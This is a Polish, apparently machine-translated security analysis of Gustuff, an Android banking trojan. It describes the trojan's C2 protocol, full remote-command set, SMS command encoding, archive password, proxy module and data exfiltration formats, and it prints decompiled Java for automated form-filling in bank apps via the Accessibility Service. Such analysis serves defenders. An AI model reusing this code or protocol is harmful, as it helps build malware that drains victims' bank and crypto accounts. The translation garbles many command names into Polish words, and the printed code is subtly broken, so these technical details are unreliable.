Jak trojan Gustuff na Androida zbiera śmietankę (fiat i kryptowaluty) z twoich kont

Jak trojan Gustuff na Androida zbiera śmietankę (fiat i kryptowaluty) z twoich kont

Któregoś dnia Grupa-IB sobała o aktywności mobilnego trojana dla Androida Gustuff. Działa wyłącznie na rynkach międzynarodowych, atakując klientów 100 największych zagranicznych banków, użytkowników 32 mobilnych portfeli kryptowalutowych, a także duże zasoby e-commerce. Twórcą Gustuffa jest jednak rosyjskojęzyczny cyberprzestępca występujący pod pseudonimem Bestoffer. Niedawno pochwalił swojego trojana jako „poważny produkt dla osób posiadających wiedzę i doświadczenie”.

Analityk złośliwego kodu grupy-IB Iwan Pisariew w swoich badaniach szczegółowo opowiada o tym, jak działa Gustuff i jakie niesie ze sobą niebezpieczeństwo.

Na kogo poluje Gustuff?

Gustuff należy do nowej generacji złośliwego oprogramowania z w pełni zautomatyzowanymi funkcjami. Według twórcy trojan stał się nową, ulepszoną wersją szkodliwego oprogramowania AndyBot, które od listopada 2017 r. atakuje telefony z systemem Android i kradnie pieniądze za pośrednictwem phishingowych formularzy internetowych podszywających się pod aplikacje mobilne znanych międzynarodowych banków i systemów płatności. Bestoffer podał, że cena Gustuff Bota wynosi 800 dolarów miesięcznie.

Analiza próbki Gustuff wykazała, że ​​trojan potencjalnie atakuje klientów korzystających z aplikacji mobilnych największych banków, takich jak Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, a także Bitcoin Wallet , Portfele kryptowalutowe BitPay. , Cryptopay, Coinbase itp.

Pierwotnie stworzony jako klasyczny trojan bankowy, aktualna wersja Gustuffa znacznie rozszerzyła listę potencjalnych celów ataku. Oprócz aplikacji na Androida dla banków, firm fintech i usług kryptograficznych, Gustuff jest skierowany do użytkowników aplikacji marketplace, sklepów internetowych, systemów płatności i komunikatorów internetowych. W szczególności PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut i inne.

Punkt wejścia: obliczenie masowej infekcji

Gustuff charakteryzuje się „klasycznym” wektorem penetracji smartfonów z systemem Android poprzez wysyłki SMS z linkami do plików APK. Gdy urządzenie z Androidem zostanie zainfekowane trojanem na polecenie serwera, Gustuff może być dalej dystrybuowany poprzez bazę danych kontaktów zainfekowanego telefonu lub bazę danych serwera. Funkcjonalność Gustuffa została zaprojektowana z myślą o masowej infekcji i maksymalnej kapitalizacji biznesu jego operatorów - posiada unikalną funkcję „autouzupełniania” w legalnych aplikacjach bankowości mobilnej i portfelach kryptowalutowych, co pozwala przyspieszyć i skalować kradzież pieniędzy .

Badanie trojana wykazało, że funkcja autouzupełniania jest w nim zaimplementowana przy użyciu usługi dostępności, usługi dla osób niepełnosprawnych. Gustuff nie jest pierwszym trojanem, który skutecznie omija ochronę przed interakcją z elementami okien innych aplikacji korzystających z tej usługi Androida. Jednakże korzystanie z usługi ułatwień dostępu w połączeniu z funkcją automatycznego uzupełniania jest nadal dość rzadkie.

Po pobraniu na telefon ofiary Gustuff, korzystając z usługi dostępności, zyskuje możliwość interakcji z elementami okien innych aplikacji (bankowości, kryptowalut, a także aplikacji do zakupów online, przesyłania wiadomości itp.), wykonując czynności niezbędne atakującym . Przykładowo na polecenie serwera trojan może klikać przyciski i zmieniać wartości pól tekstowych w aplikacjach bankowych. Wykorzystanie mechanizmu Accessibility Service pozwala trojanowi ominąć mechanizmy zabezpieczające stosowane przez banki w celu zwalczania trojanów mobilnych poprzedniej generacji, a także zmian w polityce bezpieczeństwa wdrażanych przez Google w nowych wersjach systemu operacyjnego Android. Zatem Gustuff „wie, jak” wyłączyć ochronę Google Protect: zdaniem autora funkcja ta działa w 70% przypadków.

Jak trojan Gustuff na Androida zbiera śmietankę (fiat i kryptowaluty) z twoich kont

Gustuff może także wyświetlać fałszywe powiadomienia PUSH z ikonami legalnych aplikacji mobilnych. Użytkownik klika powiadomienie PUSH i widzi pobrane z serwera okno phishingowe, w którym wprowadza żądane dane karty bankowej lub portfela kryptowalutowego. W innym scenariuszu Gustuff otwiera aplikację, w imieniu której zostało wyświetlone powiadomienie PUSH. W takim przypadku szkodliwe oprogramowanie, na polecenie serwera za pośrednictwem usługi dostępności, może wypełnić pola formularza aplikacji bankowej w celu oszukańczej transakcji.

Funkcjonalność Gustuffa obejmuje także wysyłanie informacji o zainfekowanym urządzeniu na serwer, możliwość odczytu/wysyłania wiadomości SMS, wysyłania żądań USSD, uruchamiania SOCKS5 Proxy, podążania za linkiem, wysyłania plików (w tym skanów zdjęć dokumentów, zrzutów ekranu, zdjęć) na serwer, zresetuj urządzenie do ustawień fabrycznych.

Analiza złośliwego oprogramowania

Przed zainstalowaniem złośliwej aplikacji system operacyjny Android wyświetla użytkownikowi okno zawierające listę praw, których żąda Gustuff:

Jak trojan Gustuff na Androida zbiera śmietankę (fiat i kryptowaluty) z twoich kont
Instalacja aplikacji nastąpi wyłącznie po uzyskaniu zgody użytkownika. Po uruchomieniu aplikacji trojan wyświetli użytkownikowi okno:

Jak trojan Gustuff na Androida zbiera śmietankę (fiat i kryptowaluty) z twoich kont
Następnie usunie swoją ikonę.

Według autora Gustuff jest pakowany przez pakowaczkę FTT. Po uruchomieniu aplikacja okresowo uzyskuje dostęp do serwera CnC w celu otrzymania poleceń. W kilku badanych przez nas plikach adres IP był używany jako serwer kontrolny 88.99.171[.]105 (dalej zwane <%C&C%>).

Po uruchomieniu program rozpoczyna wysyłanie wiadomości na serwer http://<%CnC%>/api/v1/get.php.

Oczekiwana jest odpowiedź w następującym formacie JSON:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Przy każdym żądaniu aplikacja wysyła informację o zainfekowanym urządzeniu. Poniżej przedstawiono format wiadomości. Warto zaznaczyć, że pola pełny, dodatkowy, mobilne i webowe и pozwolenie – opcjonalne i zostanie wysłane tylko w przypadku żądania polecenia z CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Przechowywanie danych konfiguracyjnych

Gustuff przechowuje ważne informacje w pliku preferencji. Nazwa pliku, jak również zawarte w nim nazwy parametrów, są wynikiem obliczenia sumy MD5 z ciągu 15413090667214.6.1<%nazwa%>Gdzie <%nazwa%> to oryginalna nazwa-wartość. Interpretacja Pythona funkcji generowania nazw:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

W dalszej części będziemy oznaczać jako nazwaGenerator(wejście).
Zatem nazwa pierwszego pliku to: nameGenerator("LISTA_SERWERÓW API"), zawiera wartości o następujących nazwach:

Nazwa zmiennej Wartość
nameGenerator("LISTA_SERWERÓW API") Zawiera listę adresów CnC w postaci tablicy.
nameGenerator("API_SERVER_URL") Zawiera adres CnC.
nameGenerator("SMS_UPLOAD") Flaga jest ustawiona domyślnie. Jeśli flaga jest ustawiona, wysyła wiadomości SMS do CnC.
nameGenerator("SMS_ROOT_NUMBER") Numer telefonu, na który będą wysyłane wiadomości SMS otrzymane przez zainfekowane urządzenie. Wartość domyślna to zero.
generator nazw("SMS_ROOT_NUMBER_RESEND") Flaga jest domyślnie wyczyszczona. Jeśli jest ustawione, gdy zainfekowane urządzenie odbierze wiadomość SMS, zostanie ona wysłana na numer główny.
nameGenerator("DEFAULT_APP_SMS") Flaga jest domyślnie wyczyszczona. Jeśli ta flaga jest ustawiona, aplikacja będzie przetwarzać przychodzące wiadomości SMS.
nameGenerator("DEFAULT_ADMIN") Flaga jest domyślnie wyczyszczona. Jeśli flaga jest ustawiona, aplikacja ma uprawnienia administratora.
nameGenerator("DOMYŚLNA_DOSTĘPNOŚĆ") Flaga jest domyślnie wyczyszczona. Jeśli flaga jest ustawiona, usługa korzystająca z usługi dostępności jest uruchomiona.
generator nazw("APPS_CONFIG") Obiekt JSON, zawiera listę akcji, które należy wykonać po uruchomieniu zdarzenia dostępności powiązanego z konkretną aplikacją.
nameGenerator("APPS_INSTALLED") Przechowuje listę aplikacji zainstalowanych na urządzeniu.
nameGenerator("IS_FIST_RUN") Flaga jest wyczyszczona przy pierwszym starcie.
nameGenerator("UNIQUE_ID") Zawiera unikalny identyfikator. Generowane przy pierwszym uruchomieniu bota.

Moduł przetwarzania poleceń serwera

Aplikacja przechowuje adresy serwerów CnC w postaci zakodowanej tablicy Baza 85 linie. Listę serwerów CnC można zmienić po otrzymaniu odpowiedniego polecenia, w takim przypadku adresy zostaną zapisane w pliku preferencji.

W odpowiedzi na żądanie serwer wysyła polecenie do aplikacji. Należy zaznaczyć, że polecenia i parametry prezentowane są w formacie JSON. Aplikacja może przetwarzać następujące polecenia:

Zespół Opis
do przoduStart Rozpocznij wysyłanie wiadomości SMS odebranych przez zainfekowane urządzenie do serwera CnC.
do przoduStop Zatrzymaj wysyłanie wiadomości SMS odebranych przez zainfekowane urządzenie do serwera CnC.
ussdRun Złóż wniosek USSD. Numer, na który należy wykonać żądanie USSD, znajduje się w polu JSON „numer”.
Wyślij SMS Wyślij jedną wiadomość SMS (w razie potrzeby wiadomość zostanie „rozbita” na części). Jako parametr polecenie przyjmuje obiekt JSON zawierający pola „to” – numer docelowy oraz „body” – treść wiadomości.
wyślijSmsAb Wysyłaj wiadomości SMS (w razie potrzeby wiadomość jest „dzielona” na części) do wszystkich osób z listy kontaktów zainfekowanego urządzenia. Odstęp pomiędzy wysyłaniem wiadomości wynosi 10 sekund. Treść wiadomości znajduje się w polu JSON „treść”
wyślij wiadomość SMS Wysyłaj wiadomości SMS (w razie potrzeby wiadomość jest „podzielona” na części) do kontaktów określonych w parametrach polecenia. Odstęp pomiędzy wysyłaniem wiadomości wynosi 10 sekund. Jako parametr polecenie przyjmuje tablicę JSON (pole „sms”), której elementy zawierają pola „to” – numer docelowy oraz „body” – treść wiadomości.
zmień serwer Polecenie to może przyjąć wartość z kluczem „url” jako parametr – wówczas bot zmieni wartość nameGenerator(„SERVER_URL”), lub „array” - wtedy bot zapisze tablicę do nameGenerator („API_SERVER_LIST”) Tym samym aplikacja zmienia adresy serwerów CnC.
Numer administratora Polecenie jest przeznaczone do pracy z numerem głównym. Komenda akceptuje obiekt JSON o następujących parametrach: "number" - zmiana nameGenerator("ROOT_NUMBER") na otrzymaną wartość, "resend" - zmiana nameGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" - wysłanie unikalnego ID do nameGenerator("ROOT_NUMBER „).
Zaktualizuj informacje Wyślij informacje o zainfekowanym urządzeniu na serwer.
wyczyść dane Polecenie służy do usuwania danych użytkownika. W zależności od nazwy aplikacji, następuje całkowite usunięcie danych wraz z ponownym uruchomieniem urządzenia (użytkownik główny) lub usunięcie tylko danych użytkownika (użytkownik dodatkowy).
skarpetkiStart Uruchom moduł proxy. Działanie modułu opisano w osobnym rozdziale.
skarpetkiZatrzymaj się Zatrzymaj moduł proxy.
otwórzLink Śledź ten link. Link znajduje się w parametrze JSON przy kluczu „url”. Do otwarcia łącza używany jest plik „android.intent.action.VIEW”.
prześlijWszystkieSms Wysyłaj wszystkie wiadomości SMS odebrane przez urządzenie na serwer.
prześlijWszystkieZdjęcia Wysyłaj obrazy z zainfekowanego urządzenia na adres URL. Adres URL jest parametrem.
Przesyłanie pliku Wyślij plik z zainfekowanego urządzenia na adres URL. Adres URL jest parametrem.
prześlij numery telefonów Wysyłaj numery telefonów z listy kontaktów na serwer. Jeżeli jako parametr zostanie podany obiekt JSON z kluczem „ab”, aplikacja otrzyma listę kontaktów z książki telefonicznej. Jeżeli jako parametr odebrany zostanie obiekt JSON z kluczem „sms”, aplikacja odczytuje listę kontaktów od nadawców wiadomości SMS.
zmieńArchiwum Aplikacja pobiera plik z adresu podanego jako parametr za pomocą klawisza „url”. Pobrany plik zostanie zapisany pod nazwą „archive.zip”. Następnie aplikacja rozpakuje plik, opcjonalnie używając hasła archiwalnego „b5jXh37gxgHBrZhQ4j3D”. Rozpakowane pliki są zapisywane w katalogu [pamięć zewnętrzna]/hgps. W tym katalogu aplikacja przechowuje podróbki internetowe (opisane poniżej).
działania Komenda przeznaczona jest do współpracy z Action Service, co opisano w osobnym rozdziale.
test Nic nie robić.
pobieranie Polecenie służy do pobrania pliku ze zdalnego serwera i zapisania go w katalogu Pobrane. Adres URL i nazwa pliku są parametrami, parametrami są pola w obiekcie JSON odpowiednio: „url” i „fileName”.
usunąć Usuwa plik z katalogu Pobrane. Nazwa pliku jest podawana w parametrze JSON z kluczem „fileName”. Domyślna nazwa pliku to „tmp.apk”.
powiadomienie Pokaż powiadomienie z opisem i tekstem tytułu zdefiniowanym przez serwer zarządzania.

Format polecenia powiadomienie:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Powiadomienie wygenerowane przez badany plik wygląda identycznie jak powiadomienia wygenerowane przez aplikację określoną w polu Aplikacja. Jeśli wartość pola otworzyć aplikację — To prawda, że ​​po otwarciu powiadomienia uruchamiana jest aplikacja określona w polu Aplikacja. Jeśli wartość pola otworzyć aplikację - Nieprawda, zatem:

  • otwiera się okno phishingowe, którego zawartość jest ładowana z katalogu <%pamięć zewnętrzna%>/hgps/<%nazwa pliku%>
  • otwiera się okno phishingowe, którego zawartość jest pobierana z serwera <%url%>?id=<%Identyfikator bota%>&app=<%Nazwa aplikacji%>
  • otwiera się okno phishingowe udające kartę Google Play, w którym można wprowadzić dane karty.

Aplikacja wysyła wynik wykonania dowolnego polecenia do <%CnC%>set_state.php jako obiekt JSON w następującym formacie:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

Usługa akcji
Lista poleceń zawartych w procesach aplikacji akcja. Po otrzymaniu polecenia moduł przetwarzania poleceń wywołuje tę usługę w celu wykonania rozszerzonego polecenia. Usługa przyjmuje jako parametr obiekt JSON. Usługa może wykonywać następujące polecenia:

1. PARAMS_ACTION - po otrzymaniu takiego polecenia usługa w pierwszej kolejności otrzymuje wartość z parametru JSON przy pomocy klawisza Type, może ona wyglądać następująco:

  • Informacje o serwisie – komenda pobiera wartość z parametru JSON po kluczu uwzględnijNieWażne. Jeśli flaga ma wartość True, aplikacja ustawia flagę FLAG_ISOLATED_PROCESS do usługi korzystającej z Usługi Dostępności. Tym samym uruchomienie usługi nastąpi w oddzielnym procesie.
  • korzeń - odbierać i wysyłać do serwera informacje o aktualnie aktywnym oknie. Aplikacja pozyskuje informacje za pomocą klasy AccessibilityNodeInfo.
  • Admin - zażądaj uprawnień administratora.
  • opóźnienie - zawiesić usługę ActionsService na liczbę milisekund określoną w parametrze klawiszem „data”.
  • okna — wyślij listę okien widocznych dla użytkownika.
  • zainstalować — zainstaluj aplikację na zainfekowanym urządzeniu. Nazwa pakietu - archiwum znajduje się w kluczu "fileName". Samo archiwum znajduje się w katalogu Pobrane.
  • światowy – podkomenda przeznaczona jest do przejścia z bieżącego okna:
    • w menu Szybkie ustawienia
    • назад
    • dom
    • do powiadomień
    • do ostatnio otwartego okna aplikacji

  • uruchomić - uruchom aplikację. Nazwa aplikacji jest kluczowym parametrem dane.
  • Dźwięki — zmień tryb dźwięku na cichy.
  • odblokować - włącza podświetlenie ekranu i klawiatury do pełnej jasności. Aplikacja wykonuje tę akcję za pomocą WakeLock, jako tag podaje ciąg [Etykieta aplikacji]:INFO
  • nakładka uprawnień — funkcja nie została zaimplementowana (odpowiedź na wykonanie polecenia — {"message":"Not support"} lub {"message":"low sdk"})
  • gest — funkcja nie została zaimplementowana (odpowiedź na wykonanie polecenia — {"message":"Not support"}lub {"message":"Low API"})
  • uprawnienia - To polecenie jest wymagane, aby poprosić o uprawnienia dla aplikacji. Jednak funkcja żądania nie jest zaimplementowana, więc polecenie jest bez znaczenia. Lista żądanych uprawnień ma postać tablicy JSON z kluczem „uprawnienia”. Lista standardowa:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • koncepcja — wyświetl okno phishingowe. W zależności od parametru pochodzącego z serwera aplikacja może wyświetlić następujące okna phishingowe:
    • Pokaż okno phishingowe, którego zawartość jest zapisana w pliku w katalogu <%katalog zewnętrzny%>/hgps/<%nazwa_pliku_parametrów%>. Wynik interakcji użytkownika z oknem zostanie przesłany na podany adres <%CnC%>/records.php
    • Wyświetl okno phishingowe, którego zawartość jest wstępnie załadowana z adresu <%url_param%>?id=<%bot_id%>&app=<%nazwapakietu%>. Wynik interakcji użytkownika z oknem zostanie przesłany na podany adres <%CnC%>/records.php
    • Wyświetl okno phishingowe udające kartę Google Play.

  • interaktywne — polecenie jest przeznaczone do interakcji z elementami okien innych aplikacji za pomocą usługi AcessibilityService. W programie zaimplementowano specjalną usługę interakcji. Badana aplikacja może wchodzić w interakcję z systemem Windows:
    • Aktywny w tej chwili. W tym przypadku parametr zawiera identyfikator lub tekst (nazwę) obiektu, z którym chcesz wejść w interakcję.
    • Widoczne dla użytkownika w momencie wykonania polecenia. Aplikacja wybiera okna według identyfikatora.

    Po otrzymaniu obiektów Informacje o węźle dostępności dla interesujących nas elementów okna aplikacja w zależności od parametrów może wykonać następujące akcje:

    • fokus - ustawia ostrość na obiekcie.
    • kliknij - kliknij obiekt.
    • actionId - wykonaj akcję według identyfikatora.
    • setText - zmień tekst obiektu. Zmiana tekstu możliwa jest na dwa sposoby: wykonanie akcji ACTION_SET_TEXT (jeśli wersja Androida zainfekowanego urządzenia jest młodsza lub równa LIZAK) lub umieszczając ciąg znaków w schowku i wklejając go do obiektu (dla starszych wersji). Za pomocą tego polecenia można zmienić dane w aplikacji bankowej.

2. PARAMS_ACTIONS - taki sam jak PARAMS_ACTION, przychodzi tylko tablica poleceń JSON.

Wydaje się, że wielu będzie zainteresowanych tym, jak wygląda funkcja interakcji z elementami okna innej aplikacji. Oto jak ta funkcjonalność jest zaimplementowana w Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Funkcja zamiany tekstu:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Dzięki temu przy prawidłowej konfiguracji serwera sterującego Gustuff jest w stanie wypełnić pola tekstowe w aplikacji bankowej i kliknąć w przyciski niezbędne do sfinalizowania transakcji. Trojan nie musi nawet przechodzić autoryzacji w aplikacji - wystarczy wysłać polecenie zademonstrowania powiadomienia PUSH, a następnie otworzyć wcześniej zainstalowaną aplikację bankową. Sam użytkownik zostanie autoryzowany, po czym Gustuff będzie mógł dokonać automatycznego uzupełnienia.

Moduł przetwarzania SMS-ów

Aplikacja ustawia procedurę obsługi zdarzeń umożliwiającą odbieranie wiadomości SMS przez zainfekowane urządzenie. Badana aplikacja może odbierać polecenia od operatora zawarte w treści wiadomości SMS. Polecenia mają format:

7!5=<%Polecenie zakodowane w Base64%>

Aplikacja wyszukuje ciąg znaków we wszystkich przychodzących wiadomościach SMS 7!5=, po znalezieniu ciągu dekoduje ciąg z Base64 z przesunięciem 4 i wykonuje polecenie. Polecenia są podobne do poleceń w CnC. Wynik wykonania wysyłany jest na ten sam numer, z którego otrzymano polecenie. Format odpowiedzi:

7*5=<kodowanie%Base64 dla "polecenie_kodu_wyniku"%>

Opcjonalnie aplikacja może wysyłać wszystkie otrzymane wiadomości na numer root. Aby to zrobić, w pliku preferencji należy określić numer główny i ustawić flagę przekierowania wiadomości. Na numer atakującego wysyłana jest wiadomość SMS w następującym formacie:

<%Od numeru%> - <%Czas, format: dd/MM/rrrr HH:mm:ss%> <%Treść SMS%>

Opcjonalnie aplikacja może także wysyłać komunikaty do CnC. Wiadomość SMS wysyłana jest na serwer w formacie JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Jeśli flaga jest ustawiona nameGenerator("DEFAULT_APP_SMS") – aplikacja przestaje przetwarzać wiadomość SMS i czyści listę wiadomości przychodzących.

Moduł proxy

W badanej aplikacji znajduje się moduł Backconnect Proxy (zwany dalej modułem Proxy), który posiada wydzieloną klasę zawierającą pola statyczne z konfiguracją. Dane konfiguracyjne są przechowywane w przykładzie w postaci zwykłego tekstu:

Jak trojan Gustuff na Androida zbiera śmietankę (fiat i kryptowaluty) z twoich kont

Wszystkie akcje wykonywane przez moduł Proxy są logowane do plików. W tym celu aplikacja tworzy w zewnętrznej pamięci masowej katalog o nazwie „logs” (pole ProxyConfigClass.logsDir w klasie konfiguracyjnej), w którym przechowywane są pliki logów. Logowanie odbywa się w plikach o nazwach:

  1. main.txt – plik ten służy do logowania pracy klasy o nazwie CommandServer. W dalszej części zapis ciągu znaków str do tego pliku będzie oznaczony jako mainLog(str).
  2. sesja-<%id%>.txt — w tym pliku zapisywane są dane dziennika związane z określoną sesją proxy. W dalszej części zapis ciągu znaków str do tego pliku będzie oznaczony jako sessionLog (str).
  3. serwer.txt – w tym pliku zapisywane są wszystkie dane zapisane w powyższych plikach.

Format danych dziennika:

<%Date%> [Wątek[<%identyfikator wątku%>], identyfikator[]]: ciąg dziennika

Wyjątki powstałe podczas działania modułu Proxy są również logowane do pliku. W tym celu aplikacja generuje obiekt JSON o formacie:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Następnie konwertuje go na reprezentację w postaci ciągu znaków i dzienniki.

Moduł proxy jest uruchamiany po otrzymaniu odpowiedniego polecenia. Po otrzymaniu polecenia uruchomienia modułu proxy aplikacja uruchamia usługę z nazwą Główny serwis, który odpowiada za zarządzanie pracą modułu Proxy - jego uruchamianie i zatrzymywanie.

Kroki uruchomienia usługi:

1. Uruchamia licznik czasu, który uruchamia się raz na minutę i sprawdza aktywność modułu proxy. Jeśli moduł nie jest aktywny, uruchamia go.
Również wtedy, gdy zdarzenie zostanie uruchomione android.net.conn.CONNECTIVITY_CHANGE moduł proxy zostaje uruchomiony.

2. Aplikacja tworzy blokadę wybudzania z parametrem CZĘŚCIOWA_WAKE_BLOKADA i chwyta go. W ten sposób nie pozwala procesorowi urządzenia przejść w tryb uśpienia.

3. Uruchamia klasę przetwarzania poleceń modułu proxy, rejestrując najpierw linię mainLog("serwer startowy") и

Serwer::start() host[<%proxy_cnc%>], CommandPort[<%command_port%>], proxyPort[<%proxy_port%>]

gdzie proxy_cnc, port_poleceń i port_proxy – parametry otrzymane z konfiguracji serwera proxy.

Nazywana jest klasa przetwarzania poleceń Połączenie poleceń. Natychmiast po uruchomieniu wykonuje następujące działania:

4. Łączy się z ProxyConfigClass.host: ProxyConfigClass.commandPort i wysyła tam dane o zainfekowanym urządzeniu w formacie JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Gdzie:

  • id - identyfikator, próbujący pobrać z pliku Shared Preference o nazwie "x" wartość z polem "id". Jeśli nie udało się uzyskać tej wartości, generuje nową. Tym samym moduł proxy posiada własny identyfikator, który jest generowany podobnie jak identyfikator bota.
  • imei – IMEI urządzenia. Jeżeli podczas pobierania wartości wystąpił błąd, zamiast tego pola zostanie zapisany komunikat o błędzie.
  • imsi - Międzynarodowy identyfikator abonenta mobilnego urządzenia. Jeżeli podczas pobierania wartości wystąpił błąd, zamiast tego pola zostanie zapisany komunikat o błędzie.
  • model — widoczna dla użytkownika końcowego nazwa produktu końcowego.
  • producent - Producent produktu/sprzętu (Build.MANUFACTURER).
  • androidVersion to ciąg znaków w formacie „<%release_version%> (<%os_version%>), <%sdk_version%>”
  • kraj to bieżąca lokalizacja urządzenia.
  • partnerId jest pustym ciągiem.
  • NazwaPakietu - nazwaPakietu.
  • networkType - typ bieżącego połączenia sieciowego (przykład: „WIFI”, „MOBILE”). Zwraca wartość null w przypadku błędu.
  • hasGsmSupport - true - jeśli telefon obsługuje GSM, w przeciwnym razie false.
  • simReady - stan karty SIM.
  • simCountry - kod ISO kraju (na podstawie dostawcy karty SIM).
  • networkOperator - nazwa operatora. Jeżeli podczas pobierania wartości wystąpił błąd, zamiast tego pola zostanie zapisany komunikat o błędzie.
  • simOperator — nazwa dostawcy usług (SPN). Jeżeli podczas pobierania wartości wystąpił błąd, zamiast tego pola zostanie zapisany komunikat o błędzie.
  • wersja - pole to przechowywane jest w klasie config, dla badanych wersji bota było ono równe "1.6".

5. Przełącza w tryb oczekiwania na polecenia z serwera. Polecenia z serwera mają format:

  • 0 polecenie przesunięcia
  • 1 identyfikator sesji offsetowej
  • 2 długość przesunięcia
  • 4 dane offsetowe

Po otrzymaniu polecenia aplikacja loguje się:
mainLog("Nagłówek {sesjaId<%id%>], wpisz[<%polecenie%>], długość[<%długość%>] }")

Z serwera możliwe są następujące polecenia:

Imię Command Dane Opis
identyfikator połączenia 0 Identyfikator połączenia Utwórz nowe połączenie
SEN 3 Czas Zawieś moduł proxy
TENIS STOŁOWY 4 - Wyślij wiadomość PONG

Wiadomość PONG składa się z 4 bajtów i wygląda następująco: 0x04000000.

Po odebraniu polecenia ConnectionId (aby utworzyć nowe połączenie) Połączenie poleceń tworzy instancję klasy Połączenie proxy.

  • W proxy biorą udział dwie klasy: Połączenie proxy и zakończenia. Podczas tworzenia klasy Połączenie proxy zostanie nawiązane połączenie z adresem ProxyConfigClass.host: ProxyConfigClass.proxyPort i przekazanie obiektu JSON:

 {
    "id":<%connectionId%>
}

